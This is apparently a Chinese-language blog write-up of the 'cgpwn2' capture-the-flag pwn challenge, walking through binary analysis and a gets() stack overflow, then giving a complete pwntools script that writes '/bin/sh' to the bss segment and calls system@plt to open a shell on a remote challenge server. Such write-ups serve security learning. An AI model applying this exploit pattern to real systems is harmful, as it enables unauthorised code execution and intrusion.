cgpwn2攻防世界pwn
2019-08-09 本文已影响0人
杰_74
checksec后试运行,有两个输入
32位ida
点进去hello()
可以利用fgets和gets栈溢出
发现pwn函数里有system,参数不对,system在plt地址为0x08048420
shift+F12找字符串,这次就找不到binsh了,看来要想办法写进去
第一次输入的name在bss段,地址为0x0804A080
第二次输入时gets函数,在plt地址为0x080483F0
那我们就在第一次输入把/bin/sh用fgets写进去,第二次利用gets的栈溢出调用syste(/bin/sh)
写脚本
#coding=utf8
from pwn import *
context.log_level = 'debug'
p = remote('111.198.29.45',47419)
system_plt = 0x08048420
bss = 0x0804A080
p.recvuntil('name')
p.sendline("/bin/sh")
p.recvuntil('here:')
payload = ''
payload += 'A'*0x26
payload += p32(0)
payload += p32(system_plt)
payload += p32(0)
payload += p32(bss)
p.sendline(payload)
p.interactive()
成功